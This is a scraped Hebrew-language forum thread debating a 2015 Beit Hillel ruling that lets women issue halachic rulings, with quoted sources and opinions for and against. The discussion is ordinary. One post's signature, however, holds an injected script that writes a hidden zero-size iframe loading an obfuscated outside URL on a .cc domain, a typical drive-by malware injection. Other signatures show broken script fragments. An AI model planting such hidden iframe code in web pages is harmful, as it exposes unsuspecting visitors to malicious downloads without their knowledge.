| נשלח ב-7/1/2015 08:27 |
 |
| |
מהפכת הפוסקות: קיומה הוא ביטולה או תקנת השעה?
מצאתי בפורום שמותר להזכיר את שמו.
היסטוריה: רבני בית הלל - נשים פוסקות הלכה
היסטוריה: "מותר לאישה לפסוק הלכה"
בפסק הלכה ראשון מסוגו קובעים רבני "בית הלל" כי מותר לנשים חכמות הלכה לפסוק הלכה בכל תחום - סמכות שהייתה נתונה בידי גברים בלבד. "יש כאן בהחלט יצירת היסטוריה, והמשך של מהפכת הנשים בעולם התורה"
קובי נחשוני
פורסם: 06/01/2015 18:31
מי תהיה "פוסקת הדור"? ארגון הרבנים "בית הלל" ניסח פסק הלכה המתיר לראשונה לאישה לפסוק הלכה בעצמה – סמכות שהייתה נתונה בידי גברים בלבד. "ברוך השם צומחות נשים העוסקות בלימוד ש"ס ופוסקים בשקידה ובקבלת מסורת מתלמידי חכמים", הסבירו הרבנים, "דבר פשוט הוא שיכולות להורות".
בשנים האחרונות, בזכות מהפכה פמיניסטית ביהדות האורתודוכסית, צמחו בבתי המדרש הנשיים "יועצות הלכה", אך העיסוק שלהן הצטמצם ברובו לשימוש בידע שרכשו, ולא כלל שיקול דעת והכרעה בספקות. זאת ועוד – הן מעניקות ייעוץ בעיקר ב"הלכות נשים" (טהרת המשפחה, דם מחזור וכדומה), כדי להפחית את מעורבות הרבנים הגברים בעניינים אלה. הפסק החדש מכיר ב"פוסקות הלכה" של ממש - לכל דבר ועניין.
במוסדות התורניים של האורתודוכסיה המודרנית - בעיקר בארה"ב אך גם בישראל - כבר פועלות כיום תוכניות הכשרת נשים להוראת הלכה ברמות שונות, ובליברלית שבהם, ישיבת מהר"ת בניו-יורק, מכשירים פוסקות, אך מנכ"ל "בית הלל", הרב רונן נויבירט, מדגיש כי תשובה מנומקת שלפיה ניתן לפעול על פי הכרעותיהן - מעולם לא נכתבה.
ןעוט...
"כל שלמד הלכה ויודעה - ראוי למסור אותה, ובכלל זה נשים חכמות בתורה שהוכשרו להוראת הלכה" (צילום: דבי קופר, בית מורשה)
"תקדים שלא היה מעוגן בפסיקת הלכה כתובה, לא בהכרח משנה היסטוריה", הסביר הרב נויבירט ל-ynet את משמעות המהלך. "לעומת זאת, כל פסק שנכתב במהלך הדורות, הופך להיות תקדים ואבן בניין לפסקי ההלכה שייכתבו בהמשך הדורות באותו הנושא - וזה החידוש הגדול של הפסק. זו הפעם הראשונה שסוגיה זו נפרשת במלואה בפסק הלכה מלא, מפורט ומנומק. יש כאן בהחלט יצירת היסטוריה, והמשך של מהפכת הנשים בעולם התורה".
לשבור את המחיצות
הפסק החדש מתפרש על פני כמה עמודים ויפורסם בעלון "בית הלל" אשר יופץ בשבוע הבא. הוא מבוסס על דעותיהם של
ינטל:
פוסקים מרכזיים בהיסטוריה היהודית שהתייחסו לנושא, שבצירופם יחד, ולאחר דיון מעמיק, הסיקו רבני הארגון: "כל שלמד הלכה ויודעה - ראוי למסור אותה, ובכלל זה נשים חכמות בתורה שהוכשרו להוראת הלכה, גם במקרים שבהם הוראת ההלכה כוללת שיקול דעת והכרעה בספקות".
חשיבות מיוחדת מייחסים הרבנים לפסיקה בתחום "הלכות נשים", שכן "מעורבותן של חכמות ההלכה עשויה לשבור מחיצות בפני המהססות מלשאול, ונותרות פעמים רבות בספק (המוליך להחמרת יתר או לעבירה על ההלכה)". לשיטתם, "אפשרות זו תגדיל את שמירת ההלכה ואת מעגל נאמניה גם בקרב קהלים שללא הוראה נשית עומדים, לעיתים, מנגד".
הרבנית ד"ר מיכל טיקוצ'ינסקי, ראש בית המדרש לנשים ב"בית מורשה" וחברת הנהלת "בית הלל", אמרה: "הוראת הלכה על ידי נשים חכמות היא למעשה כבר עובדה בשטח. נשים מקבלות פניות מרובות מציבור הצמא לפסקי ההלכה שלהן. עובדתית, ציבור הפונים אינו מורכב רק מנשים, ותוכן השאלות אינו מיוחד להלכות הקשורות בנשים.
"נשים מורות בשאלות פשוטות ובשאלות מורכבות, והכל כפי כוחן והכשרתן. אני יכולה להעיד במרחב הקרוב אלי שהדברים נעשים
מתוך יראת שמים, מתוך תודעת שליחות ונשיאה בנטל. מדובר בחידוש גדול של הדור האחרון ואשרינו שזכינו. כמובן שפסק ברור בעניין זה הוא הישג וציון דרך חשובים ביותר".
הרב ד"ר עמית קולא, רב הקיבוץ עלומים וראש בית המדרש ההלכתי של "בית הלל": "הלגיטימיות של פסיקת אישה חכמה היא ברורה לגמרי. מן הראשונים, דרך הפוסקים האחרונים ועד הרבנים הראשיים לישראל - כולם מסכימים שהתחום של הוראת הלכה פתוח בפני נשים בעלות מקצוע".
"תקוותי האישית, שנזכה להשתתפות נשים לא רק בלימוד התורה, אלא באחריות להוראת ההלכה ולמסירתה מדור לדור. יש חידוש בקול הנשי בתחומים רבים וגם בתחומי הלימוד וההוראה. אלא שכדי שחלום זה ימומש, יש צורך בהרבה עמל לימודי, בדאגה לרצף שמירת מסורת ההלכה, ובמציאת קריטריונים להסמכת הנשים תלמידות החכמים. ועוד חזון למועד".
***
רק למען הלינק.
אשכול קודם אודות טעות מרה של אחד מרבני בית הלל שאיפשר תצוגת אופנה בבית כנסת וספג ביקורת מכל עמיתיו.
ובהמשך לכותרת ההיא בחרתי את זאת.
מדרון חלקלק או תהום רבה - ארגון צוהר
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-7/1/2015 08:34 |
|
| |
כמה הערות קטנות או גדולות:
א. יש כמה סוגים וכמה רמות של פסיקת הלכה.
1. מה שכתוב בספרים.
לשם כך צריך בקיאות. בתנאי כמובן שהשאלה המופנית היא אותה שאלה שכבר כתובה.
2. הכרעה בין צדדים להחמיר ולהקל הכתובים בספרים.
זה מחייב כישורים. גם בתחום האינטלקטואלי (להבין נכון), גם בתחום החברתי (איך אומרים זאת ולמי).
3. תשובה חדשה שאינה כתובה בשום מקום.
מעטים הם המסוגלים ומוכנים לקחת על עצמם את האחריות.
ב. האם נשים מותרות או פסולות לשמש בתפקידים אלו? האם יש הבדל בין נשים שפונות אליהן לבין גברים שפונים אליהן?
האם אשה לא תעדיף לפנות לאשה המתמצאת בתחום כדי לשאול ב"יורה דעה חלק ב' " (הלכות נידה - ובמיוחד הפסק טהרה)?
ג. כמה מקורות
1. שופטים פרק ד
(ד) וּדְבוֹרָה אִשָּׁה נְבִיאָה אֵשֶׁת לַפִּידוֹת הִיא שֹׁפְטָה אֶת יִשְׂרָאֵל בָּעֵת הַהִיא:
(ה) וְהִיא יוֹשֶׁבֶת תַּחַת תֹּמֶר דְּבוֹרָה בֵּין הָרָמָה וּבֵין בֵּית אֵל בְּהַר אֶפְרָיִם וַיַּעֲלוּ אֵלֶיהָ בְּנֵי יִשְׂרָאֵל לַמִּשְׁפָּט:
באחד הספרים המוזרים שיצא לי לקרוא (וראוי לאשכול, אם לא היה), שנקרא "הרב שלי", מספרת המחברת, אשתו של רב אי שם בגליל ויוצאת חסידות כלשהי באירופה, כיצד בבית אביה (נדמה לי) האדמור הרב (או אבי בעלה?) היתה משרתת גויה שהיתה אחראית לכל. בין השאר - להעיר את הילד ולהשכיבו לישון, לומר קריאת שמע על המטה ביחד איתו וכו'.
אותה משרתת היתה מסתובבת בחדר ההמתנה של הרב, שם המתינו יהודיות עם עופות שחוטים שנתעוררו בהם שאלות, והיתה אומרת להם: זה בסדר. זה פסול ואין מה לחכות. זה, חכי, אולי הרב יתיר לך...
אני חוזר: המשרתת הגויה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-7/1/2015 09:56 |
|
| |
| מיימוני כתב: |  | כמה הערות קטנות או גדולות:
א. יש כמה סוגים וכמה רמות של פסיקת הלכה.
1. מה שכתוב בספרים.
לשם כך צריך בקיאות. בתנאי כמובן שהשאלה המופנית היא אותה שאלה שכבר כתובה.
למה האשה הבקיאה לא ?
2. הכרעה בין צדדים להחמיר ולהקל הכתובים בספרים.
זה מחייב כישורים. גם בתחום האינטלקטואלי (להבין נכון), גם בתחום החברתי (איך אומרים זאת ולמי).
למה האשה הבקיאה לא ?
3. תשובה חדשה שאינה כתובה בשום מקום.
מעטים הם המסוגלים ומוכנים לקחת על עצמם את האחריות.
אם הגבר יכול למה האשה הלמדנית לא?
ב. האם נשים מותרות או פסולות לשמש בתפקידים אלו? האם יש הבדל בין נשים שפונות אליהן לבין גברים שפונים אליהן?
למה שתהינה פסולות?
האם אשה לא תעדיף לפנות לאשה המתמצאת בתחום כדי לשאול ב"יורה דעה חלק ב' " (הלכות נידה - ובמיוחד הפסק טהרה)?
בהחלט
ג. כמה מקורות
1. שופטים פרק ד
(ד) וּדְבוֹרָה אִשָּׁה נְבִיאָה אֵשֶׁת לַפִּידוֹת הִיא שֹׁפְטָה אֶת יִשְׂרָאֵל בָּעֵת הַהִיא:
(ה) וְהִיא יוֹשֶׁבֶת תַּחַת תֹּמֶר דְּבוֹרָה בֵּין הָרָמָה וּבֵין בֵּית אֵל בְּהַר אֶפְרָיִם וַיַּעֲלוּ אֵלֶיהָ בְּנֵי יִשְׂרָאֵל לַמִּשְׁפָּט:
באחד הספרים המוזרים שיצא לי לקרוא (וראוי לאשכול, אם לא היה), שנקרא "הרב שלי", מספרת המחברת, אשתו של רב אי שם בגליל ויוצאת חסידות כלשהי באירופה, כיצד בבית אביה (נדמה לי) האדמור הרב (או אבי בעלה?) היתה משרתת גויה שהיתה אחראית לכל. בין השאר - להעיר את הילד ולהשכיבו לישון, לומר קריאת שמע על המטה ביחד איתו וכו'.
אותה משרתת היתה מסתובבת בחדר ההמתנה של הרב, שם המתינו יהודיות עם עופות שחוטים שנתעוררו בהם שאלות, והיתה אומרת להם: זה בסדר. זה פסול ואין מה לחכות. זה, חכי, אולי הרב יתיר לך...
אני חוזר: המשרתת הגויה.
הרבנית מילר זי"ע אשת הרב פנחס מילר בנו של בעמח"ס לחם אשר ועוד.
שפחת רבי לימדה את תלמידי החכמים עברית- גמרא ר"ה
כל האיסור- כי לא נהגו כך אבותנו, אבותנו גם לא השתמשו באינטרנט ולא נסעו במטוסים ובמכוניות. ולא היה להם סולוראלים כשרים וגם לא כשרים.
_________________ שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
|
|
|
|
|
| נשלח ב-7/1/2015 10:08 |
|
| |
פסיקת הלכה באופן כללי היא גילוי מילתא, ואין שום קריטיריון למי שיעשה זאת. לא רואה סיבה שלא לקבל פסיקה של אישה, חש"ו, עבד, גוי או מחשב. אדם שאשתו למדה בסמינר הלכות שבת והיא יודעת יותר ממנו, והוא למד בישיבה רק ב"ק, כמובן ישאל אותה אם מותר להכין סלט בשבת. אם היא למדה מעבר לסמינר הוא ישאל שאלות יותר מורכבות.
בפסיקה לגבי דין שחל על חפץ ספציפי (מותר/אסור טמא/טהור) ייתכן שיש שלפסיקה יש השלכה של חלות על החפצא (תלוי בראשונים בסוגית הנשאל לחכם), ואז כמובן שמחשב לא יכול להחיל חלות כזו. כאן יכולה לעשות שאלה על אישה.
|
|
|
|
| נשלח ב-7/1/2015 10:30 |
|
| |
|
|
|
|
| נשלח ב-7/1/2015 11:06 |
|
| |
ממשגיחת כשרות לנגידת בנק ישראל למנכלית בנק לאומי למנהלות רוב הבנקים בארץ לראש הממשלה לשרת החוץ נשיאת בית המשפט העליון וכו'
וכל זה היא התדרדרות שהתחילה שנתנו להם להיות משגיחות כשרות. ממש מפחיד.
מה שמוזר בכל העניין- שכל אדמור וכל גודוייל רב ורעבה. אוכלים מהשגחת הכשרות של אשה.
|
|
|
|
| נשלח ב-7/1/2015 11:17 |
|
| |
הרב מיימוני שליט"א
אתה מחמיץ את העיקר
בספרי דרוש כתוב [עפ"י הגמ' בנדרים לח] שהיה מקום לומר שרק צאצאיו של משה יפסקו הלכה, פסיקת ההלכה עפ"י המקורות איננה תלויה רק בכישורים אינטלקטואלים, אלא ענין של סמכות.
הענין כאן הוא שאשה יכולה לפסוק הלכה מעיקר הדין ולמהדרין [חינוך מצוות שתויי יין, ברכי יוסף ועוד], ולכן ה'רפורמים' הם מי שיאסרו עליה לעשות זאת.
|
|
|
|
| נשלח ב-7/1/2015 11:29 |
|
| |
אם נשים יכולות לפסוק הלכה
מתי תקום הרבנית שתתיר לגברים לדגמן בעזרת נשים?
|
|
|
|
| נשלח ב-7/1/2015 14:24 |
|
| |
שלום
מישהו. מכיר מקור כלשהו שמייחס משמעות להלכה כתובה יותר משאינה כזו?
אני תוהה אם הפסק הזה ישנה משהו, אבל העובדה שד"ר טיקוצינסקי מייחסת לזה 'הישג גדול' מלמדת דהיא חשה שקיים מחסום בציבור לפסיקות נשיות.
אני עצמי לא ממש הבחנתי בהבדל בין פסיקה נשית לגברית כשהיא באה מאותו בית מדרש, אך בראיון עם רבה שהוציאה ספר (הולכת בדרכה), היא טענה שלעיתים היא מביאה את זוית הראיה הנשית להלכה. מה בדיוק המשמעות של זה אינני יודע, אבל לכאורה זה לא דבר ראוי שהפסיקה תהיה תלויית אישיות ומגדר.
נשלח מהאנדרואיד שלי
תוקן על ידי נחמדלמראה ב- 07/01/2015 14:25:09
|
|
|
|
| נשלח ב-7/1/2015 15:07 |
|
| |
הגב' מלכה פיוטרוקובסקי אינה רבה ואינה רבנית, היא עוסקת בפסיקה לפי השולחן ערוך וחז"ל.
כמו שהפוסק הזכר משתמש בזווית ראיה זכרי, כך הפוסקת משתמשת בזוית ראיה נשי.
לזכותה יאמר כי היא מודה בכך, מה שהזכר לא מעלה בדעתו לעשות.
האמת ההגיון אומר כי מבט נשי בעניין נידה וטהרה לגבי נשים- עדיפה ונכונה יות מזה של הזכר.
לגילוי נאות איני מחסידיה של הגב' נהפוכו.פעילותה בענפיה האחרים -היו לצינם בעיני.
|
|
|
|
| נשלח ב-7/1/2015 15:28 |
|
| |
ר' ירוחם
לדעתי אתה נכשל בכשל אסטרטגי.
כן אם הנך מודה שישנה 'פסיקה גברית' וישנה 'פסיקה נשית' [דבר שהוא לדעתי בכלל ההבלים הפוסט מודרניסטים] אזי אתה שומט את הקרקע מתחת הטיעון שגם אשה יכולה להורות ולפסוק הלכה.
שכן הכל מודים שגברים יכולים לפסוק הלכה
ומעתה מוכח שהתורה ביכרה את הפסיקה הגברית על הנשית.
ומה שייך 'עדיפות' לגבר או 'עדיפות' לאשה, או שהפסיקה נכונה או שהיא גילוי פנים שלא כהלכה.
תוקן על ידי אנונימי00 ב- 07/01/2015 15:34:54
|
|
|
|
| נשלח ב-7/1/2015 15:28 |
|
| |
התייחסות של הרב אבינר (כאן, עמ' 11 - HaRavAviner370.pdf):
רבה פוסקת הלכה שאלה: האם אישה יכולה לפסוק הלכה? שמעתי שהתפרסם פסק חדש שמותר. תשובה: אין בזה שום חידוש, הרי נשים פסקו הלכות במשך כל הדורות. מן הדין, מי שיודע הלכה יכול לפסוק בענייני הלכה, ולא צריך לכך סמיכה (רמ"א יו"ד רמב, יד). ישנם רבנים רבים שאין להם סמיכה. כידוע, לחפץ חיים לא היתה סמיכה, עד שהיה לו בה צורך כדי לקבל ויזה, והג"ר חיים עוזר גורודזנסקי נתן לו. כתוב בפתחי תשובה (ח"מ ז סק"ה), שאף שאישה פסולה לדון, מ"מ אישה חכמה יכולה להורות הוראה. כלומר, אישה שיודעת הלכה יכולה להדריך, וכך היה בכל הדורות. דבורה הייתה תלמידה חכמה. כתוב בבבא בתרא (קיט, ב): "בנות צלפחד חכמניות הן". ובגמרא מובא על ברוריה וילתא שהיו תלמידות חכמות. הג"ר עובדיה יוסף פסק בשו"ת יחוה דעת (ג, עב) שמצוה לקום מפני אשה חכמה בחכמת התורה. יש לקום לפני אשת חבר, ויש לקום לפני תלמידה חכמה (עיין כל המקורות שם). כיצד ידעו לשאול את אותן נשים? באופן טבעי. כמו שידעו באופן טבעי שיש לשאול שאלות את הגר"מ פיינשטיין והג"ר אהרן קוטלר. נשים לא הלכו ללמוד בפסיקת הלכה אבל מתוך ההרגל שבביתן ידעו זאת. יש אפילו בדיחה על רב גאון שנכנס למטבח ואמר משהו על ענייני כשרות. אמרה לו הרבנית: "צא מהמטבח! אם נשמע לך לא נאכל כשר". נשים ידעו באופן טבעי מה ההלכה בתחומים מסויימים. רוב השאלות שרבנים מקבלים היום אינם עניינים חדשים, אלא עניינים שכבר נפסקו בספרים. בכל בית ספר לבנות ישנן תלמידות חכמות שמלמדות דינים והלכה לבנות, וזה לא דבר חדש. כתב הג"ר משה פיינשטיין בשו"ת אגרות משה, (או"ח ד, מט) שבעיקרון אשה יכולה לקיים מצות ציצית, אבל הכל תלוי במגמה: "אבל פשוט שהוא רק בחשקה נפשה לקיים מצות אף כשלא נצטוותה, אבל מכיון שאינו לכוונה זו אלא מצד תורעמותה על השי"ת ועל תורתו אין זה מעשה מצוה כלל אלא אדרבה מעשה איסור שהאיסור דכפירה שחושבת דשייך שיהיה איזה חלוף בדיני התורה היא עושית גם במעשה שחמיר". בדומה לזה, כתב הג"ר פיינשטיין (שם יו"ד ב, מה) לגבי מינוי אשה כמשגיחה. הכל תלוי במגמה, האם העיקר הינו חיזוק התורה. גם לדבר מצווה, צריך כוונות טובות. עם ישראל רצו מלך, וקיימת מצוה למנות מלך. ברם, לא היו להם כוונות טובות, אלא רצון להיות ככל הגוים (שמואל א ח, כ. סנהדרין כ, ב). בעבר נשים בלי חצוצרות ובלי תופים פסקו בענייני הלכה שנוגעים לחיים שלהן כגון כשרות, ענייני נשים וענייני חינוך. וגם היום יכול להיות שישנן נשים עם כוונות טובות, ויש להן לאן ללכת. במדרשת נשמת קיימת תוכנית יועצות הלכה. הן לא מקבלות סמיכה, אבל הן לומדות ומלמדות הלכה. מה שאולי התחדש זה שיש אנשים שרוצים לעשות מזה חצוצרה ציבורית, אבל גם זה עשו בארצות הברית כבר מזמן, וזה נקרא "מהר"ת" ראשי תיבות: מנהיגה הלכתית רוחנית תורנית. בארץ אנחנו מפגרים תמיד עשר שנים אחרי הקלקול של ארצות הברית, אבל בסוף הם מגיעים לפה. כי אם מדובר על תפקיד ציבורי לאשה, מרן הרב קוק כבר כתב שתי תשובות הלכתיות מפורטות בנדון על נשים ופוליטיקה (מאמרי הראיה 194-189), בהן הוא מבאר שזה בניגוד לצניעות לערבב את הנשים בחיים הציבוריים: "הנה בדבר הדין אין לי מה להוסיף על דברי הרבנים שקדמוני. בתורה בנביאים ובכתובים, בהלכה ובאגדה, הננו שומעים קול אחד, שחובת עבודת הצבור הקבועה מוטלת היא על הגברים ש'האיש דרכו לכבש ואין האשה דרכה לכבש', ושתפקידים של משרה, של משפט ושל עדות, אינם שייכים לה, וכל כבודה היא פנימה. וההשתדלות למנוע את תערובות המינים בקבוצים היא כחוט חורז במהלך התורה בכללה. וממילא ודאי שנגד הדין היא כל התחדשות של הנהגה צבורית המביאה בהכרח לידי התערבות של המינים בהמון, בקבוצה ובמסבה אחת, במהלך החיים התדיריים של הכלל" (שם 189). ולכן נשים פסקו הלכה במה שהן מבינות תמיד היו אבל בשקט ובצניעות. ומה שיש שרוצים לעשות רושם והצגה עם רעיון ה"מהר"ת", זה מנוגד לאופי של אנשי תורה, שהם אנשים ענווים ונחבאים אל הכלים, תלמידי חכמים וקל וחומר תלמידות חכמות.
|
|
|
|
|
| נשלח ב-7/1/2015 15:31 |
|
| |
ירוחם
לא הבנתי!!
רבה אורתודוקסית לא פוסקת לפי השו"ע?
לטעמי, גם הפוסק הגברי לא אמור לפעול מזווית ראיה זכרית. נדמה לי ששאלה מהו מראה או מהו מחזור, לא אמורה להיות תלויה בזווית הראיה.
נ.ב. אני חשבתי שזווית היא נקבית ומבט הוא זכרי, נראה שאתה חולק עלי, למה?
|
|
|
|
| נשלח ב-7/1/2015 15:33 |
|
| |
מבלי להכנס לדיונים. מבחינה הלכתית יש בעיה קשה לפסוק הלכה גם לגבר (מצד הסמיכה להוראה וערכה כיום, הלכות 'תלמיד אל יורה במקום רבו' וכו', שכיום אין כמעט דרך להגדיר בהתאם לתקופת חז"ל). לענ"ד כל עוד הן יודעות הלכה ומסייעות בדרך שלהן, מה טוב ומה נעים (אגב, במובנים רבים אני חושד שלפעמים מי שצריך 'רבה' הוא דווקא גבר, וכן להיפך. ואכמ"ל)
|
|
|
|
|
| נשלח ב-7/1/2015 15:43 |
|
| |
ההתייחסות של הציבור לתופעה היא כמדומה חלק מהנושא.
מצאתי משהו מוצלח למדי באשכול שלונקק לעיל מבחח.
דברוני כתב:
לקלל הם יודעות? או שאת זה הם עדיין צריכות ללמוד?
תחת איזה מיתוג יוציא אותם מהיהדות, לכאורה הכל תפוס, זקן ממרא, כת הקרובה ליהדות, חמור נושא ספרים,
תחשבו בבקשה על משהו, צריך לעזור פה לרבנים.
התייחסות זו מעידה כי אם ניקח את הפורום שמותר להזכיר את שמו בתור דוגמא מייצגת, לפחות ביחס לנושא זה שלנו, של הציבור החרדי, אזי יש מודעות לכך שתגובות של כינוי בשמות אינן מביאות תועלת, אבל צפוי לחכות לתגובות כאלו.
ואכן יש כאן נקודה שגם מי שתומך בהטלת תפקידי פסיקה על נשים צריך לחשוב עליה: מדוע יש התנגדות לתופעה? האם זו מורשת מימי הרפורמה והמאבק נגדה, כאשר כל שינוי נראה מסוכן? האם זה בגלל שהציבור שלנו פוחד, אולי בצדק, מכל שינוי שאי אפשר לסתור בראיות?
אני מבקש להצביע על נקודה למחשבה. מעין ניסוי דמיוני. תארו לעצמכם שבמקום לצאת נגד, היה מאמץ לשלב נשים בתפקידי פסיקה, לכל הפחות בנושאים "נשיים". היו פותחים חדר צדדי בכל "בית דין" עם כניסה נפרדת לנשים, והיו מאפשרים לנשים ללמוד לקראת המקצוע הזה.
זה היה מאפשר לחברה שלנו לקחת בעלות על התופעה.
בלעז מכנים זאת "גישה פרו-אקטיבית".
איך זה היה מתקדם? נניח שהיתה ישיבה של מועצת גדולי התורה, שהיתה מפרסמת מודעה משותפת עם מועצת גדולי החסידות (אם שכחתי מועצה כלשהי, אז לצרף גם אותה). בערך כך: בהתאם לצרכי השעה ובהתאם לסמכות לתקן תקנות שעה אנו סבורים שיש מקום להעניק לנשים - שיתאימו לכך ויוסמכו לכך - תפקיד במתן שירותי פסק הלכתי ברמה הראשונית (שתוגדר) לנשים אחרות, ואדרבה, כך עדיף.
לאחר מחשבה על מה שכתבתי, נראה לי שהדברים ראויים לפירסום עצמאי אודות "מעלות הגישה הפרו-אקטיבית". ואפשר לערוך רשימה של דברים שבהם אנו, החרדים, במיגננה ובסתימת פרצות במקום לקחת נושא ולהפוך אותו לקביל לבוא בקהל לאחר הטלת מיגבלות נאותות.
כמדומה שזו גם דרכה של תורה. לא נאסרה יפת תואר, למרות שלא כל אחד צפוי להיכשל בדבר, אלא הוטלו מיגבלות שונות על הדבר. ואם כך בדברים שהם עבירה חמורה שבחמורות (לקחת אשת איש של גוי אמנם ולבוא עליה נגד רצונה בשעת קרב. היום זה אסור לפי החוק הבינלאומי והישראלי) - אזי בדברים שהם מותרים מצד עצמם ואף ראויים (כמו סיוע לנשים לשאול נשים) האם לא קל וחומר הם הדברים?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
|
